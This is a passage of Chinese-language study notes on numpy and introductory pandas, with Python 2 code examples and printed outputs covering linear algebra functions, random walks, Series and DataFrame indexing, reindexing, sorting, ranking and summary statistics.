      [-0.08041303 -0.74311076 0.43827531 -0.04710955 -0.49700662]
      [ 0.33046062 -0.31708316 -0.83157252 0.01337763 -0.31394621]
      [-0.21986762 -0.15288857 -0.13263187 -0.92494467 0.23488181]
      [-0.04400528 -0.56890005 -0.08131595 0.30833745 0.75679059]]
      r---------------------------
      [[ -1.40092662e+01 -1.26845899e+00 5.84338504e+00 -3.35403461e+00
      -3.83026371e-01]
      [ 0.00000000e+00 -2.13935952e+00 -2.42468320e+00 -6.51800989e-01
      -2.21389665e+00]
      [ 0.00000000e+00 0.00000000e+00 -2.44765043e+00 -3.82142992e-01
      -8.97542800e-01]
      [ 0.00000000e+00 0.00000000e+00 0.00000000e+00 -4.11638083e-01
      1.30663382e-01]
      [ 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00
      7.13024012e-03]]
    2. linalg的一些常用函数

      | 函数 | 描述 |
      |———-|————————————————————————————————————————————————-|
      | diag | 以一维数组的形式返回方阵的对角线(或非对角线)元素,或将一维数组转换成为方阵(非对角线元素为0) |
      | dot | 矩阵乘法 |
      | trace | 计算对角线元素的和 |
      | det | 计算矩阵行列式 |
      | eig | 计算方阵的本征值和本征向量 |
      | inv | 计算方阵的逆 |
      | pinv | 计算矩阵的Moore-Penrose违逆 |
      | qr | 计算QR分解 |
      | svd | 计算奇异值分解(SVD) |
      | solve | 解线性方程Ax= b,其中A为一个方阵 |
      | lstsq | 计算Ax = b的最小二乘解 |

随机数生成

  1. numpy.random模块对内置random进行了补充

    1
    2
    3
    samples = np.random.normal(size = (4,4))

    print samples
    1
    2
    3
    4
    [[-0.2577954  -1.84871926 -1.73680389  0.75279352]
    [-0.39841909 -1.57836749 0.58627939 -0.02390301]
    [ 0.26546489 1.05297095 0.19336693 0.90791299]
    [-0.74260739 -1.06363081 0.27326372 -0.00851723]]
  2. 部分numpy.random函数

    | 函数 | 描述 |
    |——————-|————————————————————————————————|
    | seed | 确定随机数生成器的种子 |
    | permutation | 返回一个序列的随机排列或返回一个随机排列的范围 |
    | shuffle | 对一个序列就地随机排列 |
    | rand | 产生均匀分布的样本值 |
    | randint | 从给定的上下限范围内随机选取整数,size参数(int) |
    | randn | 产生正态分布(平均值为0,标准差为1)的样本值,类似于MATLAB接口 |
    | binomial | 产生二项分布的样本值 |
    | normal | 产生正态(高斯)分布的样本值 |
    | beta | 产生Beta分布的样本值 |
    | chisquare | 产生卡方分布的样本值 |
    | gamma | 产生Gamma分布的样本值 |
    | uniform | 产生在[0,1)中均匀分布的样本值 |
    | | |

  3. 范例:随机漫步

    1. 单个随机漫步

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      import numpy as np
      import random

      #传统python代码
      position = 0
      walk = [position]
      steps = 1000
      for i in xrange(steps):
      step = 1 if random.randint(0,1) else -1 #新的写法
      position += step
      walk.append(position)


      #numpy.random方法
      nsteps = 1000
      draws = np.random.randint(0,2,size = nsteps)
      steps = np.where(draws >0, 1,-1)
      walk = steps.cumsum()
      print "walk.min()----------"
      print walk.min()
      print "walk.max()------------"
      print walk.max()
      1
      2
      3
      4
      walk.min()----------
      -14
      walk.max()------------
      26
    2. 一次性模拟多个随机漫步

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      nwalks = 5000
      nsteps = 1000
      draws = np.random.randint(0,2, size = (nwalks, nsteps))
      steps = np.where(draws >0, 1, -1)
      walks = steps.cumsum(1)
      print "walks.max()----------"
      print walks.max()
      print "walks.min()----------"
      print walks.min()
      #选出超过30或-30的walk
      hits30 = (np.abs(walks) >= 30).any(1) #any是在轴1上广播,即计算各个行中有没有绝对值30以上的
      print "到达30或-30的数量"
      print hits30.sum() #到达30或-30的数量
      #利用这个数据来选出那些行,并调用argmax在轴1上获取穿越时间
      crossing_times = (np.abs(walks[hits30]) >= 30).argmax(1)
      print "crossing_times.mean()-------"
      print crossing_times.mean()

      #其他分布方式得到漫步数据
      steps = np.random.normal(loc = 0, scale = 0.25, size = (nwalks,nsteps))
      1
      2
      3
      4
      5
      6
      7
      8
      walks.max()----------
      119
      walks.min()----------
      -107
      到达30或-30的数量
      3329
      crossing_times.mean()-------
      497.677080204

Chapter 5: pandas入门

数据结构

Series

  1. 类似于一维数组的对象,由一组数组和一组与之对应的数据标签(即索引)组成

    1
    2
    3
    import pandas as pd
    obj = pd.Series([4,7,-5,3])
    print obj
    1
    2
    3
    4
    5
    0    4
    1 7
    2 -5
    3 3
    dtype: int64
  2. values 和 index属性

    1
    2
    print obj.values
    print obj.index
    1
    2
    [ 4  7 -5  3]
    RangeIndex(start=0, stop=4, step=1)
  3. 自定义index

    1
    2
    3
    obj2 = pd.Series([4,7,-5,3], index = ['d', 'b', 'a', 'c'])
    print obj2
    print obj2.index
    1
    2
    3
    4
    5
    6
    d    4
    b 7
    a -5
    c 3
    dtype: int64
    Index([u'd', u'b', u'a', u'c'], dtype='object')
  4. 通过索引来选取Series中的值

    1
    2
    3
    4
    print obj2['a']

    obj2['d'] = 6
    print obj2[['c','a','d']]
    1
    2
    3
    4
    5
    -5
    c 3
    a -5
    d 6
    dtype: int64

    **

    1
    2
    3
    print obj2[obj2 > 0]
    print obj2 * 2
    print np.exp(obj2)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    d    6
    b 7
    c 3
    dtype: int64
    d 12
    b 14
    a -10
    c 6
    dtype: int64
    d 403.428793
    b 1096.633158
    a 0.006738
    c 20.085537
    dtype: float64
  5. 通过字典直接建立Series

    1
    2
    3
    sdata = {"Ohio" : 35000, 'Texas': 71000, "Oregon": 16000, "Utah": 5000}
    obj3 = pd.Series(sdata)
    print obj3
    1
    2
    3
    4
    5
    Ohio      35000
    Oregon 16000
    Texas 71000
    Utah 5000
    dtype: int64
  6. 传入字典,并有index参数,则用index来排序,从字典中寻找index对应的值,没有的话,NaN来代替

    1
    2
    3
    states = ['California', "Ohio", 'Oregon','Texas']
    obj4 = pd.Series(sdata,index = states)
    print obj4
    1
    2
    3
    4
    5
    California        NaN
    Ohio 35000.0
    Oregon 16000.0
    Texas 71000.0
    dtype: float64
  7. pd.isnull, pd.notnull 寻找缺失数据

    1
    2
    3
    print pd.isnull(obj4)
    print
    print pd.notnull(obj4)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    California     True
    Ohio False
    Oregon False
    Texas False
    dtype: bool

    California False
    Ohio True
    Oregon True
    Texas True
    dtype: bool
  8. Series 算术运算中会自动对齐不同的数据 注意点</span>

    1
    2
    3
    4
    5
    print obj3
    print
    print obj4
    print
    print obj3 + obj4
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    Ohio      35000
    Oregon 16000
    Texas 71000
    Utah 5000
    dtype: int64

    California NaN
    Ohio 35000.0
    Oregon 16000.0
    Texas 71000.0
    dtype: float64

    California NaN
    Ohio 70000.0
    Oregon 32000.0
    Texas 142000.0
    Utah NaN
    dtype: float64
  9. Series 本身 与 index(索引) 有name属性

    1
    2
    3
    obj4.name = 'population'
    obj4.index.name = "state"
    print obj4
    1
    2
    3
    4
    5
    6
    state
    California NaN
    Ohio 35000.0
    Oregon 16000.0
    Texas 71000.0
    Name: population, dtype: float64
  10. 修改 Series的索引

    1
    2
    3
    4
    print obj
    print
    obj.index = ['Bob', "Steve", 'Jeff', "Ryan"]
    print obj
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0    4
    1 7
    2 -5
    3 3
    dtype: int64

    Bob 4
    Steve 7
    Jeff -5
    Ryan 3
    dtype: int64

DataFrame

  1. 创建DataFrame

    1. 简单例子

      1
      2
      3
      4
      5
      6
      7
      8
      import numpy as np
      import pandas as pd
      data = {"state": ['Ohio', 'Ohio', 'Ohio','Nevada','Nevada'],
      'Year':[2000,2001,2002,2001,2002],
      "pop":[1.5,1.7,3.6, 2.4, 2.9]}

      frame = pd.DataFrame(data)
      print frame
      1
      2
      3
      4
      5
      6
         Year  pop   state
      0 2000 1.5 Ohio
      1 2001 1.7 Ohio
      2 2002 3.6 Ohio
      3 2001 2.4 Nevada
      4 2002 2.9 Nevada
    2. 指定列序号,排序列顺序

      1
      2
      3
      d1 = pd.DataFrame(data,columns = ['year','state','pop'])

      print d1
      1
      2
      3
      4
      5
      6
        year   state  pop
      0 NaN Ohio 1.5
      1 NaN Ohio 1.7
      2 NaN Ohio 3.6
      3 NaN Nevada 2.4
      4 NaN Nevada 2.9
    3. 传入的列在数据中找不到时,会产生NA值

      1
      2
      3
      4
      frame2 = pd.DataFrame(data,columns = ["year",'state','pop','debt'],
      index = ['one','two','three','four','five'])
      print frame2
      print frame2.columns
      1
      2
      3
      4
      5
      6
      7
            year   state  pop debt
      one NaN Ohio 1.5 NaN
      two NaN Ohio 1.7 NaN
      three NaN Ohio 3.6 NaN
      four NaN Nevada 2.4 NaN
      five NaN Nevada 2.9 NaN
      Index([u'year', u'state', u'pop', u'debt'], dtype='object')
    4. 用字典或者属性的方式来获得DataFrame的列(Series)

      1
      2
      3
      print frame2['state']
      print
      print frame2.year
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      one        Ohio
      two Ohio
      three Ohio
      four Nevada
      five Nevada
      Name: state, dtype: object

      one NaN
      two NaN
      three NaN
      four NaN
      five NaN
      Name: year, dtype: object
    5. 获得DataFrame的行

      1
      print frame2.ix['three']
      1
      2
      3
      4
      5
      year      NaN
      state Ohio
      pop 3.6
      debe NaN
      Name: three, dtype: object
    6. 修改列数值

      1
      2
      3
      4
      5
      frame2.debt = 16.5
      print frame2
      print
      frame2['debt'] = np.arange(5.)
      print frame2
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
            year   state  pop  debt
      one NaN Ohio 1.5 16.5
      two NaN Ohio 1.7 16.5
      three NaN Ohio 3.6 16.5
      four NaN Nevada 2.4 16.5
      five NaN Nevada 2.9 16.5

      year state pop debt
      one NaN Ohio 1.5 0.0
      two NaN Ohio 1.7 1.0
      three NaN Ohio 3.6 2.0
      four NaN Nevada 2.4 3.0
      five NaN Nevada 2.9 4.0
    7. 将列表或者数组赋值给列

      1. 空位会补上缺失值

        1
        2
        3
        4
        5
        6
        7
        8
        val = pd.Series([-1.2, -1.5, -1.7], index = ['two','four','five'])
        frame2.debt = val
        print frame2
        print
        # index没有的,不会赋值上去
        val = pd.Series([-1.2, -1.5, -1.7], index = ['two','four','six'])
        frame2.debt = val
        print frame2
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
              year   state  pop  debt
        one NaN Ohio 1.5 NaN
        two NaN Ohio 1.7 -1.2
        three NaN Ohio 3.6 NaN
        four NaN Nevada 2.4 -1.5
        five NaN Nevada 2.9 -1.7

        year state pop debt
        one NaN Ohio 1.5 NaN
        two NaN Ohio 1.7 -1.2
        three NaN Ohio 3.6 NaN
        four NaN Nevada 2.4 -1.5
        five NaN Nevada 2.9 NaN
      2. 不存在列赋值会创造新的列,可用del关键字删除列

        1
        2
        3
        4
        5
        frame2.eastern = frame2.state == "Ohio"
        print frame2

        del frame2.eastern
        print frame2.columns
        1
        2
        3
        4
        5
        6
        7
              year   state  pop  debt
        one NaN Ohio 1.5 NaN
        two NaN Ohio 1.7 -1.2
        three NaN Ohio 3.6 NaN
        four NaN Nevada 2.4 -1.5
        five NaN Nevada 2.9 NaN
        Index([u'year', u'state', u'pop', u'debt'], dtype='object')
    8. 嵌套字典

      1
      2
      3
      4
      pop = {'Nevada': {2001: 2.4, 2002: 2.9},
      "Ohio": {2000:1.5, 2001:1.7, 2002: 3.6}}
      frame3 = pd.DataFrame(pop)
      print frame3
      1
      2
      3
      4
            Nevada  Ohio
      2000 NaN 1.5
      2001 2.4 1.7
      2002 2.9 3.6
      1. 转置

        1
        print frame3.T
        1
        2
        3
                2000  2001  2002
        Nevada NaN 2.4 2.9
        Ohio 1.5 1.7 3.6
    9. 内层字典的键会被合并,排序以形成最终的索引,如果现实指定索引,则不会

      1
      print pd.DataFrame(pop, index = [2002,2003,2001])
      1
      2
      3
      4
            Nevada  Ohio
      2002 2.9 3.6
      2003 NaN NaN
      2001 2.4 1.7
    10. 由Series组成的字典也是一样用法

      1
      2
      3
      4
      5
      pdata = {'Ohio': frame3['Ohio'][:-1],
      'Nevada': frame3['Nevada'][:2]}
      print pdata
      print
      print pd.DataFrame(pdata)
      1
      2
      3
      4
      5
      {'Ohio': 2000    1.5
      2001 1.7
      Name: Ohio, dtype: float64, 'Nevada': 2000 NaN
      2001 2.4
      Name: Nevada, dtype: float64}

      :

      1
      2
      3
            Nevada  Ohio
      2000 NaN 1.5
      2001 2.4 1.7
    11. 可以输入给DataFrame的数据

      | 类型 | 描述 |
      |———————————————|—————————————————————————————————————|
      | 二维ndarray | 数据矩阵,还可以传入行标和列标 |
      | 由数组、列表或元组组成的字典 | 每个序列会变成DF的一列,所有序列的长度必须相同 |
      | NumPy的结构化/记录数组 | 类似于“有数组组成的字典” |
      | 由series组成的字典 | 每一个Serire会变成一列。如没遇显示指定索引,各索引会被整合成结果的行索引 |
      | 由字典组成的字典 | 各内层字典会成一列。键会被合并成结果的行索引 |
      | 字典或Series的列表 | 各项会成DF的一行,字典键或Series索引的并集将成为DF的列表 |
      | 由列表或元组组成的列表 | 类似于“二维ndarray” |
      | 另一个DF | 该DF的索引将会被沿用,除非显示指定其他索引 |
      | NumPy的MaskedArray | 类似于“二维ndarray”,只是掩码值在结果的DF将会变成NA/缺失值 |
      | | |

      1. 如果设置了index和columns的name属性,这些信息也会被显示出来

        1
        2
        3
        frame3.index.name = "year"
        frame3.columns.name = "state"
        print frame3
        1
        2
        3
        4
        5
        state  Nevada  Ohio
        year
        2000 NaN 1.5
        2001 2.4 1.7
        2002 2.9 3.6
      2. values属性会以二维ndarray形式返回DF的数组

        1
        print frame3.values
        1
        2
        3
        [[ nan  1.5]
        [ 2.4 1.7]
        [ 2.9 3.6]]
      3. 如果DF各列数组类型不同,则会选取能兼容所有列的数据类型

  2. 索引对象

    1. 负责管理轴标签和其他元数据,构建Series或DF时,所用到的任何数组或其他序列的标签会转换成index

      1
      2
      3
      4
      obj = pd.Series(range(3), index = ['a','b','c'])
      index = obj.index
      print index
      print index[1:]
      1
      2
      Index([u'a', u'b', u'c'], dtype='object')
      Index([u'b', u'c'], dtype='object')
    2. index对象不可修改 注意点</span>

    3. 主要的index对象

      | 类 | 说明 |
      |———————-|——————————————————————————————————|
      | index | 最泛化的index对象,将轴标签标示为一个由python对象组成的NumPy数组 |
      | int64index | 针对整数的特殊index |
      | MultiIndex | “层次化”索引对象,标示单个轴上的多层索引,可以看做由元组组成的数组 |
      | DatetimeIndex | 存储纳秒级时间戳(用NumPy的datetime64类型标示) |
      | PeriodIndex | 针对Period数据(时间间隔)的特殊Index |
      | | |

    4. index的方法和属性

      | 方法 | 说明 |
      |———————-|——————————————————————————|
      | append | 连接另一个index对象,产生一个新的index |
      | diff | 计算差集,得到一个index |
      | intersection | 计算交集 |
      | union | 计算并集 |
      | isin | 计算一个指示各值是否都包含在参数集合中的布尔型数组 |
      | delete | 删除索引i处的元素,并得到一个新的index |
      | drop | 删除传入的值,并得到新的index |
      | insert | 将元素插入到索引i出,并得到新的index |
      | is~monotonic~ | 当各元素均大于前一个元素时,返回True |
      | is-unique | 当index没有重复值时,返回True |
      | unique | 计算index中的唯一值的数组 |
      | | |

  3. 基本功能

    1. 重新索引 reindex

      1. 从新排序,没有则缺失值,可以用fill~value参数填充缺失值~

        1
        2
        3
        4
        5
        6
        7
        8
        obj = pd.Series([4.5, 7.2, -5.3, 3.6], index = ['d','b', 'a', 'c'])
        print obj
        #调用reindex将会根据新索引进行重拍,如果索引值不存在,引入缺失值
        obj2 = obj.reindex(['a','b','c','d','e'])
        print obj2

        temp = obj.reindex(['a','b','c','d','e'],fill_value = 0) #调补缺失值
        print temp
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        d    4.5
        b 7.2
        a -5.3
        c 3.6
        dtype: float64
        a -5.3
        b 7.2
        c 3.6
        d 4.5
        e NaN
        dtype: float64
        a -5.3
        b 7.2
        c 3.6
        d 4.5
        e 0.0
        dtype: float64
      2. 填充

        1
        2
        obj3= pd.Series(['blue','purpel','yellow'],index = [0,2,4])
        print obj3.reindex(range(6), method = 'ffill') #向前填充
        1
        2
        3
        4
        5
        6
        7
        0      blue
        1 blue
        2 purpel
        3 purpel
        4 yellow
        5 yellow
        dtype: object
      3. method选项

        | 参数 | 说明 |
        |————————|———————————|
        | ffill或pad | 前向填充(或搬运)值 |
        | bfill,backfill | 后向填充(或搬运)值 |
        | | |

      4. reindex可以修改(行)索引、列或者两者都改,如果仅传入一个序列,则会重新索引行
        注意点</span>

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        frame = pd.DataFrame(np.arange(9).reshape((3,3)),index = ['a', 'c', 'd'],
        columns =['Ohio', 'Texas', "California"])
        print frame
        print
        frame2 = frame.reindex(['a', 'b', 'c', 'd'])
        print frame2


        #使用columns关键字可以重新索引列
        states = ['Texas', 'Utah', "California"]
        print frame.reindex(columns = states)

        #同时对行和列重新索引,而插值则只能按行应用(即轴0);各行间进行向上补充
        print frame.reindex(index = ['a','b', 'c', 'd'],method = 'ffill', columns = states)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
           Ohio  Texas  California
        a 0 1 2
        c 3 4 5
        d 6 7 8

        Ohio Texas California
        a 0.0 1.0 2.0
        b NaN NaN NaN
        c 3.0 4.0 5.0
        d 6.0 7.0 8.0
        Texas Utah California
        a 1 NaN 2
        c 4 NaN 5
        d 7 NaN 8
        Texas Utah California
        a 1 NaN 2
        b 1 NaN 2
        c 4 NaN 5
        d 7 NaN 8
      5. 利用ix的标签索引功能,重新索引任务可以变得更简洁 :ix 不懂:

        1
        print frame.ix[['a','b','c','d'], states]
        1
        2
        3
        4
        5
           Texas  Utah  California
        a 1.0 NaN 2.0
        b NaN NaN NaN
        c 4.0 NaN 5.0
        d 7.0 NaN 8.0
      6. reindex函数的参数

        | 参数 | 说明 |
        |——————-|—————————————————————————————————-|
        | index | 用作索引的新序列。既可以是index的实例,也可以是其他序列的数据结构 |
        | method | 插值(填充)方式 |
        | fill~value~ | 在重新索引过程中,引入缺失值的代替值 |
        | limit | 向前或向后填充时的最大填充量 |
        | level | 在MultiIndex的指定级别上匹配简单索引,否则选取其子集 |
        | copy | 默认为True,如果为False,则新旧相等就不复制 |
        | | |

    2. 丢弃指定轴上的项

      1. drap 方法返回删除了的新对象

        1
        2
        3
        4
        5
        6
        7
        obj = pd.Series(np.arange(5.),index = ['a','b', 'c', 'd', 'e'])
        new_obj = obj.drop("c")
        print new_obj
        print
        print obj
        print
        print obj.drop(['d','c'])
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        a    0.0
        b 1.0
        d 3.0
        e 4.0
        dtype: float64

        a 0.0
        b 1.0
        c 2.0
        d 3.0
        e 4.0
        dtype: float64

        a 0.0
        b 1.0
        e 4.0
        dtype: float64
      2. 产出随意轴上的索引值

        1
        2
        3
        4
        5
        data = pd.DataFrame(np.arange(16).reshape(4,4), index = ['Ohio','Colorado', "Utah", 'New York'], columns = ['one', 'two', 'three', 'four'])
        print data.drop(['Colorado', 'Ohio'])
        print
        print data.drop('two', axis = 1)
        print
        1
        2
        3
        4
        5
        6
        7
        8
        9
                  one  two  three  four
        Utah 8 9 10 11
        New York 12 13 14 15

        one three four
        Ohio 0 2 3
        Colorado 4 6 7
        Utah 8 10 11
        New York 12 14 15
    3. 索引,选取和过滤

      1. 索引可以不是整数

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        obj = pd.Series(np.arange(4),index = ['a','b','c','d'])
        print obj['b']
        print
        print obj[1]
        print
        print obj[2:4]
        print
        print obj[['b','a','d']]
        print
        print obj[[1,3]]
        print
        print obj[obj < 2] #注意点,不是bool
        temp = np.arange(4)
        print
        print temp[temp < 2] #注意点
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        1

        1

        c 2
        d 3
        dtype: int64

        b 1
        a 0
        d 3
        dtype: int64

        b 1
        d 3
        dtype: int64

        a 0
        b 1
        dtype: int64

        [0 1]
      2. 用标签的切片,末端是包含的 注意点</span>

        1
        2
        3
        4
        5
        print obj['b':'c']

        #修改数值
        obj["b":'c'] = 5
        print obj
        1
        2
        3
        4
        5
        6
        7
        8
        b    1
        c 2
        dtype: int32
        a 0
        b 5
        c 5
        d 3
        dtype: int32
      3. DF的索引其实是获取一个或多个列 注意点</span>

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        data = pd.DataFrame(np.arange(16).reshape(4,4),
        index= ['Ohio','Colorado','Utah','New York'],
        columns = ['one', 'two','three','four'])
        print data
        print
        print data['two']
        print data[['three','one']]

        #切片来索引
        print data[:2]

        #bool数组来选取
        print data[data["three"] > 5]
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
                  one  two  three  four
        Ohio 0 1 2 3
        Colorado 4 5 6 7
        Utah 8 9 10 11
        New York 12 13 14 15

        Ohio 1
        Colorado 5
        Utah 9
        New York 13
        Name: two, dtype: int32
        three one
        Ohio 2 0
        Colorado 6 4
        Utah 10 8
        New York 14 12
        one two three four
        Ohio 0 1 2 3
        Colorado 4 5 6 7
        one two three four
        Colorado 4 5 6 7
        Utah 8 9 10 11
        New York 12 13 14 15
        1. ix 标签索引(行)

          1
          2
          3
          4
          5
          6
          7
          print data.ix["Colorado", ["two", "three"]]
          print
          print data.ix[["colorado", "utah"], [3,0,1]]
          print
          print data.ix[2]
          print
          print data.ix[data.three >5, 3]
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          two      5
          three 6
          Name: Colorado, dtype: int32

          four one two
          colorado NaN NaN NaN
          utah NaN NaN NaN

          one 8
          two 9
          three 10
          four 11
          Name: Utah, dtype: int32

          Colorado 7
          Utah 11
          New York 15
          Name: four, dtype: int32
      4. DF索引说明

        | 类型 | 说明 |
        |—————————————-|——————————————————————|
        | obj[val] | 选取DF的单列或者一组列 |
        | obj.ix[val] | 选取DF的单个行或者一组行 |
        | obj.ix[:,val] | 选取单个列或列子集 |
        | obj.ix[val1,val2] | 同时选取行和列 |
        | reindex方法 | 将一个或多个轴匹配或重新索引 |
        | xs方法 | 港剧标签选取单行或单列,返回一个Series |
        | icol,irow方法 | 根据整数未知选取单列或单行,返回一个Series |
        | get~value~,set~value方法~ | 根据行或列标签选取单个值 |
        | | |

    4. 算术运算和数据对齐

      1. 如果存在不同的索引对,则结果是并集,缺失则为NA值

      2. 在算术方法中填填充

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        df1 = pd.DataFrame(np.arange(12.).reshape((3,4)),columns = list('abcd'))
        df2 = pd.DataFrame(np.arange(20.).reshape((4,5)),columns = list('abcde'))
        print "df1"
        print df1
        print "df2"
        print df2
        print df1 + df2
        print
        #填写缺失值
        print df1.add(df2,fill_value = 0)
      3. 部分算术方法

        | 方法 | 说明 |
        |———|———|
        | add | + |
        | sub | - |
        | div | / |
        | mul | * |

      4. DF和Series之间的运算(会广播)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        arr = np.arange(12).reshape(3,4)
        print "arr"
        print arr
        print arr - arr[0]

        #DF和Serise之间
        frame = pd.DataFrame(np.arange(12).reshape(4,3),
        columns = list('abc'),index = ['Utah', 'Ohio', 'Texas', 'Oregon'])
        series = frame.ix[0]
        series1 = frame['a']
        print "DF:frame"
        print frame
        print "series"
        print series
        print frame - series
        print
        print series1
        print
        # 列相减不成功
        print frame - series1
        1. 用运算方法来处理匹配列的运算

          1
          2
          #继续上面
          print frame.sub(series1,axis = 0)
    5. 函数应用和映射

      1. Numpy的ufuncs(元素级数组方法)可用于操作pandas对象

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        frame = pd.DataFrame(np.random.randn(4,3),columns = list('bde'),
        index = ['Utah', 'Ohio', 'Texas', 'Oregon'])
        print frame
        print np.abs(frame)

        # 使用DF的apply方法来实现函数功能
        f = lambda x: x.max() - x.min()
        print frame.apply(f)
        print
        print frame.apply(f, axis = 1)
      2. 改变格式(格式化字符串) applymap

        1
        2
        format = lambda x: '%.2f' % x
        print frame.applymap(format)
        1. 单列运算

          1
          print frame['e'].map(format)
    6. 排序和排名

      1. 排序

        1. sort~index~

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          #sort the series
          obj = pd.Series(range(4), index = list('dabc'))
          print obj.sort_index()
          #sort the DF
          frame = pd.DataFrame(np.arange(8).reshape(2,4),
          index = ['three', 'one'],
          columns = list('dabc'))
          #sort the frame by the index unkonwn
          print frame.sort_index()
          print
          #sort hte frame by the columns unkonwn
          print frame.sort_index(axis = 1)
          print

          # 降序
          print frame.sort_index(axis = 1, ascending = False)
          print
          #series排序,可以用 order方法
          obj = pd.Series([4,7,3,2])
          print obj.order()
          print

          #NA值会排在最后面
          obj = pd.Series([4, np.nan, 7, np.nan, -3 ,2])
          print obj.order()
          print
          1. 根据列或者多个列排序

            1
            2
            3
            4
            5
            6
            7
            8
            9
            frame = pd.DataFrame({'b': [4,7,-3,2], 'a': [0, 1, 0, 1]})
            print frame
            print

            #sort by column b'values
            print frame.sort_index(by = 'b')

            #sort by column a's values ,then sort by b's values
            print frame.sort_index(by = ['a', 'b'])
      2. 排名ranking 没明白</span>

        排名和排序关系密切,且他会增设一个排名值(从1开始,直到有效数据的数量)

        1. 和numpy.argsort产生的简洁排序索引类似,不过可以根据规则破坏平级关系

          1
          2
          3
          4
          5
          obj = pd.Series([7, -5, 7, 4, 2, 0, 4])
          obj1 = pd.Series(np.arange(4))
          print obj.rank()
          print
          print obj1.rank()
        2. 根据出现顺序来给出排名(类似于稳定排序)

          1
          print obj.rank(method = 'first')
        3. 降序

          1
          print obj.rank(ascending = False, method = 'max')
        4. 用于破坏平级关系的method选项

          | 方法 | 说明 |
          |—————-|—————————————————————|
          | ‘average’ | 默认:在相等分组中,为各个值分配平均排名 |
          | “min” | 使用整个分组的最小排名 |
          | “max” | 使用整个分组的最大排名 |
          | “first” | 安值在原始数据的出现顺序分配排名 |

    7. 带有重复值的轴索引

      1. 虽然很多pandas函数要求轴标签唯一,但是不是强制性的

        1
        2
        obj = pd.Series(range(5), index = list('aabbc'))
        print obj
      2. is~unique属性可以测试值是否唯一~

        1
        print obj.index.is_unique
      3. 对应多个值,会返回一个Serise,单个值则返回标准值

        1
        2
        3
        4
        5
        #有两个对应的值
        print obj['a']
        print
        #单个对应的值
        print obj['c']

        :

        1
        4
      4. DF索引的情况也如此

        1
        2
        3
        df = pd.DataFrame(np.random.randn(4,3),index = list('aabb'))
        print df
        print df.ix['b']
    8. 汇总和计算描述统计

      1. 这组数学和统计方法基于没有缺失数据的假设而构建的

        1
        2
        3
        4
        5
        df = pd.DataFrame([[1.4, np.nan],[7.1, -4.5],
        [np.nan, np.nan], [0.75, -1.3]],
        index = list('abcd'),
        columns = ['one', "two"])
        print df
        1
        2
        3
        4
        5
            one  two
        a 1.40 NaN
        b 7.10 -4.5
        c NaN NaN
        d 0.75 -1.3
        1. 会自动跳过NA值,除非整个切片(行或列)都是NA,可通过skipna选项禁用这功能

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          #跳过NA值,计算
          print df.sum()
          print

          #对行进行计算
          print df.sum(axis = 1)
          print

          #禁用skipna
          print df.mean(axis = 1, skipna = False)
          1. 约简方法的选项

            | 选项 | 说明 |
            |————|——————————————————————————-|
            | aixs | 约简的轴。DataFrame的行用0,列用1 |
            | skipna | 排除缺失值,默认值为True |
            | level | 如果轴是层次化索引的(MultiIndex),根据level分组约简 |

        2. 有些是间接统计(如返回最大值或最小值索引)

          1
          2
          3
          4
          5
          6
          #返回列中最大值的索引
          print df.idxmax()
          print

          #累计求和
          print df.cumsum()
          1
          2
          3
          one    b
          two d
          dtype: object

          :

          1
          2
          3
          4
          5
              one  two
          a 1.40 NaN
          b 8.50 -4.5
          c NaN NaN
          d 9.25 -5.8
        3. 既不是约简型也不是累计型

          1. describe 一次性产品多个汇总统计

            1
            2
            3
            4
            5
            6
            7
            8
            9
            #数字型的汇总统计
            print df
            print
            print df.describe()
            print

            #非数字的汇总统计
            obj = pd.Series(list('aabc') * 4)
            print obj.describe()
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
                one  two
            a 1.40 NaN
            b 7.10 -4.5
            c NaN NaN
            d 0.75 -1.3

            one two
            count 3.000000 2.000000
            mean 3.083333 -2.900000
            std 3.493685 2.262742
            min 0.750000 -4.500000
            25% 1.075000 -3.700000
            50% 1.400000 -2.900000
            75% 4.250000 -2.100000
            max 7.100000 -1.300000

            count 16
            unique 3
            top a
            freq 8
            dtype: object
      2. 描述和汇总统计

        | 方法 | 说明 |
        |———————-|————————————————————|
        | count | 非NA值的数量 |
        | describe | 针对Series或各DF列计算汇总统计 |
        | min max | 计算最小值和最大值 |
        | argmin argmax | 计算能获得最小或最大的索引位置(整数) |
        | idxmin idxmax | 计算能获得最小或最大的索引值 |
